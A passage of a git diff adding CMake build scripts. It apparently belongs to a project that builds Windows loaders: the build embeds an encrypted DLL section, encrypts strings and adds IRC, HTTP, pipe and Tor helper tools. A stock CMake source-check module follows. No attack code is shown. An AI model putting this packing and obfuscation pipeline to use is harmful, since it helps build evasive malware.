+ target_compile_definitions(loader_decrypt PRIVATE ${MILLER_DEFS} _GNU_SOURCE=1 _NO_COMPAT=1 _NO_UTILS=1)
+
+ set(alltools_targets decrypter disasm loader_decrypt)
+else()
+ set(alltools_targets "")
+endif()
+
+add_executable(loadmodule ${MILLER_SRCDIR}/${TOOLS_DIR}/loadmodule.c)
+target_compile_definitions(loadmodule PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS})
+
+add_executable(runbin ${MILLER_SRCDIR}/${TOOLS_DIR}/runbin.c)
+set_target_properties(runbin PROPERTIES COMPILE_FLAGS "${default_cflags}")
+target_compile_definitions(runbin PRIVATE ${LOADERBASE_DEFS})
+
+add_custom_command(TARGET loader_base POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings
+)
+add_dependencies(loader_base pyloader pycrypt ${PROJECT_NAME}-shared_bin)
+
+add_custom_command(TARGET loader_base_enc POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base_enc>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base_enc>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base_enc>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll
+)
+add_dependencies(loader_base_enc pyloader pycrypt ${PROJECT_NAME}_pre-shared_bin)
+
+add_custom_command(TARGET release POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:release>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:release>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:release>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll
+)
+add_dependencies(release pyloader pycrypt ${PROJECT_NAME}-shared_bin)
+
+if (ENABLE_MSG_PIPES)
+ add_executable(pipe_server ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_server.c)
+ target_compile_definitions(pipe_server PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS})
+ add_executable(pipe_client ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_client.c)
+ target_compile_definitions(pipe_client PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS})
+ set(pipe_targets pipe_server pipe_client)
+else()
+ set(pipe_targets "")
+endif()
+
+if (ENABLE_IRC)
+ add_executable(ircmsg ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/irc.c ${MILLER_SRCDIR}/${TOOLS_DIR}/ircmsg.c)
+ add_dependencies(ircmsg cryptout_xor)
+ set_target_properties(ircmsg PROPERTIES COMPILE_FLAGS "${default_cflags}")
+ target_include_directories(ircmsg PRIVATE ${MILLER_HDRDIR_CREATED})
+ target_compile_definitions(ircmsg PRIVATE ${MILLER_PRE_DEFS} _ENABLE_IRC=1 _GNU_SOURCE=1 _DISABLE_MYGETPROC=1 _PRE_RELEASE=1 _STDIO_DEFINED=1)
+ target_link_libraries(ircmsg ws2_32)
+ set(irc_targets ircmsg)
+else()
+ set(irc_targets "")
+endif()
+
+add_executable(httpquery ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/file.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/http.c ${MILLER_SRCDIR}/${TOOLS_DIR}/httpquery.c)
+add_dependencies(httpquery cryptout_xor)
+set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}")
+target_include_directories(httpquery PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(httpquery PRIVATE _DISABLE_MYGETPROC=1 ${MILLER_PRE_DEFS} _GNU_SOURCE=1 _PRE_RELEASE=1 _STDIO_DEFINED=1)
+
+add_executable(libtor ${MILLER_SRCDIR}/${TOOLS_DIR}/libtor.c)
+set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}")
+
+install(TARGETS loadmodule loader_base loader_base_enc release dummy dummy_gui runbin ${pipe_targets} ${alltools_targets} ${irc_targets} httpquery libtor RUNTIME DESTINATION ${INSTALL_DEST})
diff --git a/cmake/CheckCSourceCompiles.cmake b/cmake/CheckCSourceCompiles.cmake
new file mode 100644
index 0000000..56e68d5
--- /dev/null
+++ b/cmake/CheckCSourceCompiles.cmake
@@ -0,0 +1,133 @@
+# Distributed under the OSI-approved BSD 3-Clause License. See accompanying
+# file Copyright.txt or https://cmake.org/licensing for details.
+
+#[=======================================================================[.rst:
+CheckCSourceCompiles
+--------------------
+
+Check if given C source compiles and links into an executable.
+
+.. command:: check_c_source_compiles
+
+ ::
+
+ check_c_source_compiles(code resultVar [FAIL_REGEX regex1 [regex2...]])
+
+ Check that the source supplied in ``code`` can be compiled as a C source
+ file and linked as an executable (so it must contain at least a ``main()``
+ function). The result will be stored in the internal cache variable specified
+ by ``resultVar``, with a boolean true value for success and boolean false for
+ failure. If ``FAIL_REGEX`` is provided, then failure is determined by
+ checking if anything in the output matches any of the specified regular
+ expressions.
+
+ The underlying check is performed by the :command:`try_compile` command. The
+ compile and link commands can be influenced by setting any of the following
+ variables prior to calling ``check_c_source_compiles()``:
+
+ ``CMAKE_REQUIRED_FLAGS``
+ Additional flags to pass to the compiler. Note that the contents of
+ :variable:`CMAKE_C_FLAGS <CMAKE_<LANG>_FLAGS>` and its associated
+ configuration-specific variable are automatically added to the compiler
+ command before the contents of ``CMAKE_REQUIRED_FLAGS``.
+
+ ``CMAKE_REQUIRED_DEFINITIONS``
+ A :ref:`;-list <CMake Language Lists>` of compiler definitions of the form
+ ``-DFOO`` or ``-DFOO=bar``. A definition for the name specified by
+ ``resultVar`` will also be added automatically.
+
+ ``CMAKE_REQUIRED_INCLUDES``
+ A :ref:`;-list <CMake Language Lists>` of header search paths to pass to
+ the compiler. These will be the only header search paths used by
+ ``try_compile()``, i.e. the contents of the :prop_dir:`INCLUDE_DIRECTORIES`
+ directory property will be ignored.
+
+ ``CMAKE_REQUIRED_LIBRARIES``
+ A :ref:`;-list <CMake Language Lists>` of libraries to add to the link
+ command. These can be the name of system libraries or they can be
+ :ref:`Imported Targets <Imported Targets>` (see :command:`try_compile` for
+ further details).
+
+ ``CMAKE_REQUIRED_QUIET``
+ If this variable evaluates to a boolean true value, all status messages
+ associated with the check will be suppressed.
+
+ The check is only performed once, with the result cached in the variable
+ named by ``resultVar``. Every subsequent CMake run will re-use this cached
+ value rather than performing the check again, even if the ``code`` changes.
+ In order to force the check to be re-evaluated, the variable named by
+ ``resultVar`` must be manually removed from the cache.
+
+#]=======================================================================]
+
+
+macro(CHECK_C_SOURCE_COMPILES SOURCE VAR)
+ if(NOT DEFINED "${VAR}")
+ set(_FAIL_REGEX)
+ set(_key)
+ foreach(arg ${ARGN})
+ if("${arg}" MATCHES "^(FAIL_REGEX)$")
+ set(_key "${arg}")
+ elseif(_key)
+ list(APPEND _${_key} "${arg}")
+ else()
+ message(FATAL_ERROR "Unknown argument:\n ${arg}\n")
+ endif()
+ endforeach()
+ set(MACRO_CHECK_FUNCTION_DEFINITIONS
+ "-D${VAR} ${CMAKE_REQUIRED_FLAGS}")
+ if(CMAKE_REQUIRED_LIBRARIES)
+ set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES
+ LINK_LIBRARIES ${CMAKE_REQUIRED_LIBRARIES})
+ else()
+ set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES)
+ endif()
+ if(CMAKE_REQUIRED_INCLUDES)
+ set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES
+ "-DINCLUDE_DIRECTORIES:STRING=${CMAKE_REQUIRED_INCLUDES}")
+ else()
+ set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES)
+ endif()
+ file(WRITE "${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c"
+ "${SOURCE}\n")
+
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR}")
+ endif()
+ try_compile(${VAR}
+ ${CMAKE_BINARY_DIR}
+ ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c
+ COMPILE_DEFINITIONS ${CMAKE_REQUIRED_DEFINITIONS}
+ ${CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES}
+ CMAKE_FLAGS -DCOMPILE_DEFINITIONS:STRING=${MACRO_CHECK_FUNCTION_DEFINITIONS}
+ "${CHECK_C_SOURCE_COMPILES_ADD_INCLUDES}"
+ OUTPUT_VARIABLE OUTPUT)
+
+ foreach(_regex ${_FAIL_REGEX})
+ if("${OUTPUT}" MATCHES "${_regex}")
+ set(${VAR} 0)
+ endif()
+ endforeach()
+
+ if(${VAR})
+ set(${VAR} 1 CACHE INTERNAL "Test ${VAR}")
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR} - Success")
+ endif()
+ file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeOutput.log
+ "Performing C SOURCE FILE Test ${VAR} succeeded with the following output:\n"
+ "${OUTPUT}\n"
+ "Source file was:\n${SOURCE}\n")
+ else()
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR} - Failed")
+ endif()
+ set(${VAR} "" CACHE INTERNAL "Test ${VAR}")
+ file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeError.log
+ "Performing C SOURCE FILE Test ${VAR} failed with the following output:\n"
+ "${OUTPUT}\n"
+ "Source file was:\n${SOURCE}\n")
+ endif()
+ endif()
+endmacro()
+